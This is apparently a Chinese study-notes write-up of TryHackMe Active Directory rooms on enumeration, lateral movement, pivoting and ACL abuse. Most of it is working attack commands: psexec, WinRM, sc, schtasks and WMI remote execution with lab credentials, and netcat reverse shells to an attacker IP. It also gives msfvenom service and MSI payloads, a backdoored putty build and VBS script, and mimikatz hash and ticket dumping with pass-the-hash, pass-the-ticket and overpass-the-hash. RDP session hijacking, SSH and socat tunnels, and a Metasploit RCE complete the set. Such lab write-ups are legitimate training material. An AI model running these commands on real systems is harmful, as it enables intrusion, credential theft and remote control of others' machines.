- ExcludeDcs:让工具不要去操作 DC,容易引起警报
Bloodhound 依赖 neo4j 数据库,初次使用要部署一下,然后就是软件的基本使用了。这里用的是 v4 版本,说实话不好用,而且文档也不见了,新版的 Bloodhound 又分为社区版和商业版,之后再去研究,感觉用不上(我错了)。
优点
- 提供图形化界面:为活动目录(AD)枚举提供了图形用户界面。
- 展示攻击路径:能够展示已枚举的活动目录信息中的潜在攻击路径。
- 更深入的洞察:提供了对活动目录对象更深入的洞察,这些信息通常需要通过多次手动查询才能获取。
缺点
- 需要执行 Sharphound:它的使用需要执行 Sharphound,这个过程会产生较多噪音,并且常常会被防病毒(AV)或端点检测与响应(EDR)解决方案检测到。
总结
枚举 AD 是一项庞大的工作。为了更好地理解域的内部结构,并找出可以利用来进行特权提升或横向移动的攻击路径,进行全面的 AD 枚举是必不可少的。
其他的枚举技术
- LDAP 枚举
- PowerView
缓解措施
- 监控事件
- AD 枚举技术会产生一堆 logon 事件,都是从一个 AD 用户发起的,能编写一个检测规则去识别这种攻击
- 检测特定软件的签名
- 监控 CMD 和 PowerShell
Lateral Movement and Pivoting
房间:https://tryhackme.com/room/lateralmovementandpivoting
时间:20250803 14:00 - 20250804 15:00
这个房间是教横向移动的,也就是从系统里面提取高权限账户,达到拿下高权限机器的作用,主要用的是 Hash 提取,还有 Kerberos。
本地账户只能通过 RDP 去操作有 UAC 的行为,类似 RPC/SMB/WinRM 之类的操作渠道不行,但是域账户不受限制,还有默认的 Administrator 用户。
远程执行进程
下面的技术都有不同的方法去实现相同的目的,有一些可能更加适合某些场景。
Psexec
- Ports: 445/TCP (SMB)
- Required Group Memberships: Administrators
Psexec 是多年来远程执行命令的首选,他允许管理员用户在其可访问的 PC 上远程执行命令,他是许多系统工具之一。
他的工作流如下:连接到 $Admin 共享文件夹上传可执行的服务(PSEXESVC.exe) -> 创建然后执行服务(C:\Windows\psexesvc.exe) -> 创建一个管道(\.\pipe\psexesvc\)
运行 psexec 我们只需要提供管理员的凭据和要运行的命令,如下。
1
2
3
4
5
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
# 使用 impacket 的 psexec
# https://feifei.tw/impacket/
python3 psexec.py ZA.TRYHACKME.COM/t1_leonard.summers:EZpass4ever@THMIIS.za.tryhackme.com
参考链接:https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
使用 WinRM 创建远程进程
- Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- Required Group Memberships: Remote Management Users
他是一个基于 Web 的协议,可以远程发送 Powershell 命令给 Windows 主机。大多数 Windows Server 会默认开启 WinRM。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 通过 CMD 连接到远端 PowerShell 会话
winrs.exe -u:ZA.TRYHACKME.COM\t1_leonard.summers -p:EZpass4ever -r:THMIIS.za.tryhackme.com cmd
# 通过 PowerShell 连接到远端 PowerShell 会话
# 凭证需要处理一下
$username = 'ZA.TRYHACKME.COM\t1_leonard.summers';
$password = 'EZpass4ever';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
# 传递凭证连接到远端
Enter-PSSession -Computername THMIIS.za.tryhackme.com -Credential $credential
# 直接在远端执行命令并且回显
Invoke-Command -Computername THMIIS.za.tryhackme.com -Credential $credential -ScriptBlock {whoami}
通过 sc 远程创建服务
- Ports:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
- Required Group Memberships: Administrators
Windows 服务也可以被用来执行任意命令,因为它们在启动时就会运行一个命令。虽然服务的可执行文件在技术上与常规应用程序不同,但如果我们配置一个 Windows 服务去运行任何应用程序,它仍然会执行它,然后在执行结束后失败。并不是没有执行成功,是因为服务没有收到预期的服务控制信号而报错。
sc 的连接过程
sc 会尝试通过 RPC 多种方式连接到 Service Control Manager (SVCCTL)
- DCE/RPC 协议连接。客户端会首先连接到 135 端口上的 **Endpoint Mapper (EPM)**。EPM 就像一个可用 RPC 端点的目录,客户端会向它查询 SVCCTL 服务的相关信息。随后,EPM 会回复连接 SVCCTL 服务的 IP 地址和端口号,这个端口号通常是 49152-65535 范围内的动态端口。
- 如果后续的那个 RPC 连接失败,sc 就会尝试通过 SMB 命名管道去请求 SVCCTL,445 端口或者 139(SMB over NetBIOS)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 通过 sc 创建用户示例
# 注意等号后面带空格是 sc 的特性
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
# 利用 nc 反弹一个 shell 示例
# 首先凭据注入一下 让注入好凭据的 shell 弹到我们的攻击机上
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.46.241 4443"
# 再在 Shell 里面通过 sc 给目标机器创建服务
sc.exe \\THMIIS.za.tryhackme.com create THMserviceRe binPath= "c:\tools\nc64.exe -e cmd.exe 10.50.46.241 4444" start= auto
sc.exe \\THMIIS.za.tryhackme.com start THMserviceRe
# 停止和删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
通过 schtasks 远程创建计划任务
1
2
3
4
5
6
7
8
9
10
# /sc 是计划的类型 ONCE 是执行一次
# 因为我们是手动执行他,所以时间不重要
schtasks /s THMIIS.za.tryhackme.com /RU "SYSTEM" /create /tn "THMtask1" /tr "c:\tools\nc64.exe -e cmd.exe 10.50.46.241 4444" /sc ONCE /sd 01/01/1970 /st 00:00
# 手动运行计划任务
# 因为是计划任务,所以命令的回显不会显示
schtasks /s THMIIS.za.tryhackme.com /run /TN "THMtask1"
# 删除计划任务
schtasks /S TARGET /TN "THMtask1" /DELETE /F
实践
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 创建服务小马
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.46.241 LPORT=4444 -o myservice666.exe
# 传小马
smbclient -c 'put myservice666.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
# 创建好 handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
# 使用指定用户凭据反弹 Shell 回来
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.46.241 4448"
# 用 sc 创建服务
sc.exe \\thmiis.za.tryhackme.com create THMservice-666 binPath= "%windir%\myservice666.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-666
# 注意这个 flag 必须要通过服务生成的 Shell 才能执行
# 刚开始还以为和执行的用户有关
# whoami 是 SYSTEM 执行他也能出 flag
# 尝试过 PSEXEC 和 nc 反弹 shell 都不行
# 生成普通马然后创建服务执行也不行 必须要服务马
# 执行 Flag.exe
c:\Users\t1_leonard.summers\Desktop\Flag.exe
通过 WMI 横向移动
WMI (Windows Management Instrumentation) 是 Windows 对 WBEM (Web-Based Enterprise Management) 的实现。WBEM 是一项用于跨设备访问管理信息的企业标准。
所有的操作都需要 Administrators 组的权限。
通过 PowerShell 连接 WMI
同样要创建 PSCredential 对象。
1
2
3
4
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
可以通过下面的任意一个协议建立 WMI 会话
- DCOM: RPC over IP will be used for connecting to WMI. This protocol uses port 135/TCP and ports 49152-65535/TCP, just as explained when using sc.exe.
- Wsman: WinRM will be used for connecting to WMI. This protocol uses ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS).
1
2
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
New-CimSessionOption
是配置 WMI 会话连接参数,然后将选项和凭证传递给 New-CimSession
cmdlet,以建立远程主机会话。
通过 WMI 远程创建进程
- Ports:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- Required Group Memberships: Administrators
我们可以利用 Windows 管理工具(WMI)从 Powershell 远程启动进程,向 Win32_Process 类发送 WMI 请求,在我们之前创建的会话下启动进程。WMI 不会回显,不会看到任何输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建 text.txt 写入 munrawashere
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
# 执行小马 必须要完整路径
$Command = "C:\Windows\payload.exe";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
# 旧环境执行方法
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
# 我跑不起来 提示 Access denied
wmic.exe /user:ZA.TRYHACKME.COM\t1_corine.waters /password:Korine.1994 /node:THMIIS.za.tryhackme.com process call create "C:\Windows\payload.exe"
通过 WMI 远程创建服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 创建一个 THMService2 的服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
# 创建一个执行小马的服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "%windir%\payload.exe";
ServiceType = [byte]::Parse("16");
StartMode = "Manual"
}
# 启动服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
# 停止和删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
ServiceType = [byte]::Parse(“16”) 是一个 PowerShell 表达式,用于指定 Windows 服务的类型。这里的 16
是一个代表特定服务类型的数值,它对应于 Windows API 中的 SERVICE_WIN32_OWN_PROCESS
常量。
在 Windows 服务编程中,服务的类型决定了服务如何运行:
- **
ServiceType = 16
(十六进制0x10
)**:代表SERVICE_WIN32_OWN_PROCESS
。这意味着服务将以独立进程的形式运行,拥有自己独立的内存空间。这是最常见的服务类型,也是这里所使用的。
通过 WMI 远程创建计划任务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
# 远程执行小马示例
$Command = "%windir%\payload.exe"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
# 启动计划任务
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
# 删除计划任务
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过 WMI 安装 MSI 包
1
2
3
4
5
6
7
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
# 传统方式实现
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
# 同样跑不起来 Access Denied
wmic /node:THMIIS.za.tryhackme.com /user:ZA.TRYHACKME.COM\t1_corine.waters /password:Korine.1994 product call install PackageLocation=c:\Windows\myinstaller88.msi
实践
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 创建 MSI 马
msfvenom -p windows/shell/reverse_tcp LHOST=10.50.46.241 LPORT=4444 -f msi > myinstaller88.msi
# 传 MSI 马
smbclient -c 'put myinstaller88.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
# 创建好 handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
# 配好 WMI session
# 注意我这里用的 Wsman 协议 官方 WP 是 DCOM
$username = 't1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol Wsman
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
# 执行 WMI 触发 payload
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller88.msi"; Options = ""; AllUsers = $false}
# 这关也很奇怪,只能跟着 WP 来
# 自己的解法都拿不到 Flag
# 执行 Flag.exe
C:\Users\t1_corine.waters\Desktop\Flag.exe
使用替代身份验证材料
标题的这个材料指的是在不知道用户密码的情况下,可以用来访问 Windows 账户的任何数据,这是由于 Windows 认证机制导致的,有以下两种认证机制。
- NTLM authentication
- Kerberos authentication
NTLM Authentication
整个过程简单说就是服务器发一个 Challenge ,客户端通过自己的 Hash 值和发过来的 Challenge 产生一个 Response 发给服务器。服务器把收到的 Response 和产生的 Challenge 发给 DC,DC 那边存着用户的 NTML Hash,就再走一遍产生 Response 流程,看看产生的 Response 是不是和服务器发过来的一样,如果一样,就通过,不一样拒绝认证。
不过上述过程是域账户的过程,如果用的本地账户,在服务器本地就能验证这个 Response 了(因为存着账户的凭据)。
Pass-the-Hash 传递 Hash
通过使用 mimikatz 或类似工具从获得管理权限的主机中提取凭证后,我们可能会得到明文密码或哈希值,这些密码或哈希值很容易被破解。不过,如果我们不够幸运,最终得到的 NTLM 密码哈希值也不会被破解。
虽然看起来我们无法真正使用这些哈希值,但只需知道密码哈希值,就能回应身份验证过程中发送的 NTLM 挑战。这意味着我们无需知道明文密码即可进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证,我们就可以通过哈希值(PtH)成功进行身份验证,而不必破解 NTLM 哈希值。
要提取 NTLM 哈希值,我们可以使用 mimikatz 读取本地 SAM,或者直接从 LSASS 内存中提取哈希值。
以下命令都是在 mimikatz 工具里面执行的,记得提前传到机器里面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 从本地 SAM 文件中提取 NTLM hash
# 只能提取本地用户的 NTLM Hash
privilege::debug
token::elevate
lsadump::sam
# 从 LSASS 内存中提取 NTLM hash
privilege::debug
token::elevate
sekurlsa::msv
# 通过 hash 去注入反向 shell
# PTH 需要在非管理员令牌的上下文中才能成功注入哈希并执行命令
token::revert
sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
Passing the Hash Using Linux
1
2
3
4
5
# Connect to RDP using PtH
xfreerdp3 /v:10.200.48.201 /u:za.tryhackme.com\\t1_toby.beck /pth:533f1bd576caa912bdb9da284bbc60fe
# Connect via psexec using PtH
# Note: Only the linux version of psexec support PtH.
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
Connect to WinRM using PtH:
1
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos 认证
认证过程
用户明文发送他的用户名和用它密码的 Hash 加密过的 timestamp 发送到 **Key Distribution Center (KDC)**。
KDC 会创建一个 Ticket Granting Ticket (TGT) 发送回来,他允许用户使用这个 ticket 去向 KDC 请求访问其他服务的 ticket,而不用传递他们的用户凭证。随着 TGT 发送的还有一个 Session Key,用户需要用它去生成后续的请求。
注意这个 TGT 是用 krbtgt 账户的密码 Hash 加密的,所以用户不能访问里面的内容。但加密的 TGT 里面带一份 Session Key,所以 KDC 不需要存储 Session Key ,因为他可以从 TGT 里面恢复出来。
当用户想要访问网络上的服务时,例如共享文件夹、网站或数据库,他们会使用TGT 向 KDC 请求 **TGS (Ticket Granting Service)**。TGS 是一种仅允许连接到为其创建的特定服务的 ticket。为了请求 TGS,用户会发送他们的 Session Key 加密的 用户名和 timestamp,作为 Authenticator。还有 TGT 和 **Service Principal Name (SPN)**。这个 SPN 标识了我们打算访问的服务和服务器名称。
KDC 会向我们发送一个 TGS 和一个用 Session Key 加密的 Service Session Key,我们需要用这两个密钥来验证我们要访问的服务。TGS 会用服务所有者的 Hash 进行加密,然后这个 TGS 也跟 TGT 类似,会带一份 Service Session Key,服务所有者可以用他自己的 Hash 来解密。
然后可以将TGS发送到所需的服务以进行身份验证和建立连接。该服务将使用其配置的帐户的密码哈希解密TGS并验证服务会话密钥。
解释一下:发送的 Username 和 Timestamp 构成的
Authenticator
是用 Service Session Key 加密的,服务可以用它自己的 Hash 从 TGS 解密出 Service Session Key,然后就可以来解密客户端发来的Authenticator
。整个过程中,只有在请求 TGT 的时候,用户名没有加密,只加密 timestamp,其他的过程中都是把用户名和 timestamp 一起构成
Authenticator
。
认证过程简述
1. AS (Authentication Service) 认证阶段
- 用户向 KDC 发送一个明文请求,其中包含他们的用户名和想要访问的**服务主体名称 (SPN)**,这个 SPN 在第一步是固定的,就是
krbtgt
。 - KDC 收到请求后,会查找该用户账户的密码哈希。它使用这个哈希来解密请求中的时间戳,如果解密成功,就验证了用户的身份。
- KDC 随后会生成一个**客户端会话密钥 (Client Session Key)**,并用这个密钥来加密时间戳。
- KDC 最后会用
krbtgt
账户的密码哈希加密一个 TGT (Ticket Granting Ticket)。这个 TGT 包含了客户端会话密钥、用户信息、有效时间等内容。 - KDC 将加密的 TGT 和用用户密码哈希加密过的客户端会话密钥发送给用户。
- 用户收到后,用自己的密码哈希解密出客户端会话密钥,并保存它,但无法解密 TGT。
2. TGS (Ticket Granting Service) 认证阶段
- 用户现在想要访问其他服务。他们使用自己保存的客户端会话密钥来生成一个 Authenticator,这是一个动态生成的结构,包含用户名和时间戳等信息。
- 用户将这个加密的 Authenticator 和之前收到的 TGT (未解密) 以及想要访问服务的 SPN 一起发送给 KDC。
- KDC 收到后,用
krbtgt
账户的密码哈希解密 TGT,从而提取出客户端会话密钥。 - KDC 再用这个客户端会话密钥去解密 Authenticator。如果成功,就验证了用户是 TGT 的合法持有者。
- KDC 随后会生成一个**服务会话密钥 (Service Session Key)**。
- KDC 创建一个 TGS (Ticket Granting Service),其中包含了服务会话密钥、用户信息和时间戳。这个 TGS 会用服务账户的密码哈希进行加密。
- KDC 将加密的 TGS 和用客户端会话密钥加密过的服务会话密钥发送给用户。
- 用户收到后,用自己的客户端会话密钥解密出服务会话密钥,并保存它。
3. 服务验证阶段
- 用户现在拥有了 TGS 和服务会话密钥。
- 用户会生成另一个用服务会话密钥加密的 Authenticator,并与 TGS 一起发送给目标服务。
- 服务收到后,使用自己账户的密码哈希解密 TGS,成功后就拿到了服务会话密钥。
- 服务再用这个服务会话密钥去解密用户发送的 Authenticator。
- 如果所有验证都通过,服务就会确认用户身份合法,并允许访问。
Pass-the-Ticket 传递票据
有些时候我们可以用 mimikatz 从 LSASS 内存中提取 Kerberos ticket 和 session keys,这个过程需要我们拥有 SYSTEM 权限,命令如下
1
2
3
4
5
6
# 下载 mimikatz
curl -o mimikatz.exe http://10.50.46.241/mimikatz.exe
# 提取 Ticket
privilege::debug
sekurlsa::tickets /export
如果我们只能访问 ticket,而不能访问 session key,那么这个 ticket 就没用。参考前面的认证过程,发送的 username 和 timestamp 要用 session key 进行加密构成 Authenticator。
虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数时候,我们会对 TGT 感兴趣,因为它们可以用来请求访问允许用户访问的任何服务。同时,TGS 只适用于特定服务。提取 TGT 需要管理员凭证,而提取 TGS 则可以使用低权限账户(仅分配给该账户的权限)。
提取出所需的 ticket 后,我们就可以使用以下命令将 ticket 注入当前会话:
1
kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
在我们自己的会话中注入票据不需要管理员权限。之后,我们使用的任何横向移动工具都可以使用这些票据。要检查是否正确注入了票据,可以使用 klist 命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
Overpass-the-hash / Pass-the-Key
这种攻击类型类似于 PtH,但他是作用在 Kerberos 上的。
当用户请求 TGT 时,他们会发送一个时间戳,该时间戳使用从密码中提取的加密密钥加密。根据安装的 Windows 版本和 Kerberos 配置,用于生成该密钥的算法可以是 DES(当前 Windows 版本默认禁用)、RC4、AES128 或 AES256。如果我们拥有这些密钥中的任何一个,就可以向 KDC 申请 TGT,而不需要实际密码,因此被称为 **Pass-the-key (PtK)**。
1
2
3
4
5
6
# 提取 Hash
privilege::debug
sekurlsa::ekeys
# 弹一个目标用户权限的 Shell
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.46.241 5556"
请注意,使用 RC4 时,密钥等于用户的 NTLM 哈希值。这意味着,如果我们能提取 NTLM 哈希值,只要 RC4 是启用的协议之一,我们就能用它来请求 TGT。这种特殊的变种通常被称为 **Overpass-the-Hash (OPtH)**。
实践
房间的意思应该是我们看能不能提取 t1_toby.beck
的 Hash,然后用这个 Hash 去生成 TGT。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 提取 Hash
privilege::debug
sekurlsa::ekeys
# 用 Hash 生成一个有目标用户权限的 Shell
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.46.241 5001"
# 拿到目标机器上的 Shell
winrs.exe -r:THMIIS.za.tryhackme.com cmd
# 直接执行 Flag.exe
# 这里用 -i 能连上,但是可能是两层 Shell 的原因,命令不回显
psexec64.exe \\THMIIS.za.tryhackme.com C:\Users\t1_toby.beck\Desktop\Flag.exe
# 这种方式不知道为什么执行 Flag 拿不到
python3 psexec.py t1_toby.beck@THMIIS.za.tryhackme.com -hashes :533f1bd576caa912bdb9da284bbc60fe
滥用用户行为
在某些情况下,攻击者可以利用用户执行的操作进一步访问网络中的机器。
滥用可写共享
托管在网络共享上的脚本或可执行文件的快捷方式,当用户执行这个快捷方式,可执行文件将从服务器复制到 %temp%
文件夹,并在工作站上执行。
后门 VBS 脚本
1
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe 1234", 0, True
后门 EXE 程序
1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
RDP 劫持
当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将在服务器上无限期地保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有 SYSTEM 权限,就可以接管任何现有的 RDP 会话,而无需密码。
1
2
3
4
5
6
7
8
# 用 SYSTEM 账户的权限来启动一个 cmd.exe
c:/tools/PsExec64.exe -s cmd.exe
# 查询活动会话
query user
# 连接会话 /dest: 是我们目前的会话 前面的数字 3 是我们要连接的会话
tscon 3 /dest:rdp-tcp#6
Windows Server 2019 及以上的系统就不允许连接到其他的用户会话了
端口转发
我们介绍的大多数横向移动技术都需要特定端口供攻击者使用。在现实世界的网络中,管理员可能出于安全原因屏蔽了其中一些端口,或者在网络周围实施了隔离,从而阻止你访问 SMB、RDP、WinRM 或 RPC 端口。
要绕过这些限制,我们可以使用端口转发技术,即把任何被入侵的主机作为跳转箱,转到其他主机。由于企业中的每个角色对日常工作所需的网络服务都有不同的需求,因此预计某些机器会比其他机器拥有更多的网络权限。
SSH 隧道
在被攻击机上往往没有 SSH 服务端,我们需要反向连回来打通隧道
1
2
3
# 创建一个专门给隧道用的用户
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
SSH 远程端口转发
即把远程端口转移到本地,本地主动发起连接。
1
2
3
4
# 1.1.1.1 是攻击机的 IP
# 3389:3.3.3.3:3389 攻击机端口:目的机器IP:目的端口
# -N 是不请求 shell
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
SSH 本地端口转发
把本地端口转移到对面,对面主动发起连接。
1
2
3
4
5
6
7
# *:80 监听所有网络接口的 80 端口
# 127.0.0.1:80 是攻击机的的本地回环地址和端口
# 也可以这样 192.168.244.1:8080 这样就转发到了攻击机的内网的机器上了
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
# 因为开了一个 80 的监听端口,防火墙策略也要放开
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
socat 端口转发
1
2
3
4
5
6
7
8
9
10
# 监听本地 1234 端口 把流量都转发到 1.1.1.1:4321 去
# fork 选项允许为每个收到的连接分叉一个新进程
# 如果不带这个参数一次连接就会断开了
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
# 转发内网机器3.3.3.3的 3389 端口暴露到本地 3389 端口
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
# 添加防火墙规则
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
动态端口转发和 SOCKS
其实这个有点误解人,我不太理解他的意思,看起来好像 SSH 自动开了一个 SOCKS 服务端一样,我也没有去尝试他。
1
ssh tunneluser@1.1.1.1 -R 9050 -N
RDP 转发实践
1
2
3
ssh za\\terence.lloyd@thmjmp2.za.tryhackme.com
C:\tools\socat\socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
隧道复杂利用
1
2
3
4
# SSH 端口转发
ssh tunneluser@10.50.46.241 -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
# 开启 SSH 服务
sudo systemctl start ssh
执行 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msfconsole
use rejetto_hfs_exec
set payload windows/shell_reverse_tcp
# 小马要在远端机器上访问的地址
set lhost thmjmp2.za.tryhackme.com
# 强制监听地址是 127.0.0.1 如果不填的话,就是 LHOST 的值
set ReverseListenerBindAddress 127.0.0.1
# 跳板机 7878 端口转发到我们本地 7878 端口
set lport 7878
# Payload 监听地址
set srvhost 127.0.0.1
# Payload 监听端口 http://thmjmp2.za.tryhackme.com:6666/4pdqhjQTjbrGJW
set srvport 6666
set rhosts 127.0.0.1
set rport 8888
exploit
拓展
Exploiting Active Directory
房间:https://tryhackme.com/room/exploitingad
时间:20250804 23:30 - 20250806 03:50
Exploiting Permission Delegation
Active Directory 通过一个名为权限委派 (Permission Delegation) 的功能来委派权限和特权。一般只有很少的用户拥有 DA(域管理员)凭据的访问权限。不可能让他们处理所有来自用户的请求,例如重置他们的密码。通过使用委派,我们可以将强制更改用户密码的权限委派给 IT 服务台团队,这意味着他们现在对这个特定功能拥有了委派的特权。原则上,为了保证委派的安全性,应该遵循最小权限原则。
权限委派漏洞通常被称为 ACL-based attacks (基于 ACL 的攻击)。AD 允许管理员配置访问控制条目 (ACEs),这些条目构成了自由访问控制列表 (DACLs),因此得名 ACL-based attacks。几乎任何 AD 对象都可以通过 ACEs 进行安全保护,这些 ACEs 描述了其他 AD 对象对该目标对象拥有的允许和拒绝的权限。
如果 ACEs 配置错误,攻击者就可以从他们下手。如果 IT 支持团队被授予了对 Domain Users(域用户)组的 ForceChangePassword(强制更改密码)权限,这将被视为不安全的。虽然他们能够重置忘记密码的员工的密码,但这种配置错误也可能让他们重置特权账户的密码,比如那些属于 Domain Admins(域管理员)组的账户,从而实现权限提升。
ACEs
大量的 ACEs 可能会被错误的配置,然后他们的利用方式也很多,Bloodhound 的文档可以帮助解释被枚举出来的 ACEs 以及如何利用它们。以下是几个典型的
ForceChangePassword: 我们能在不知道用户密码的情况下重置密码
AddMembers: 我们有将用户(包括当前用户),组和计算机加入目标组的权限。
GenericAll: 我们可以完全控制该对象,包括更改用户密码、注册 SPN 或向目标组添加 AD 对象。
GenericWrite: 我们可以更新目标对象的任何非保护参数。例如,这可以让我们更新 scriptPath 参数,从而在用户下次登录时执行脚本。
“非保护参数”(non-protected parameters)指的是那些不会被 AdminSDHolder 机制保护的属性。
简单来说,Active Directory 有一套内置的安全机制,叫做 AdminSDHolder,专门用来保护高权限账户和组(如 Domain Admins)。这个机制会定期检查这些高权限对象,并强制重置它们的 ACL,以防止权限被错误修改。
WriteOwner: 我们可以更新目标对象的所有者。我们可以让自己成为所有者,从而获得对该对象的更多权限。
WriteDACL: 我们可以向目标对象的 DACL 写入新的 ACE。例如,我们可以编写一个 ACE,授予我们的账户对目标对象的完全控制权。
AllExtendedRights: 我们可以对目标对象执行任何与扩展 AD 权限相关的操作。例如,这包括强制更改用户密码的功能。
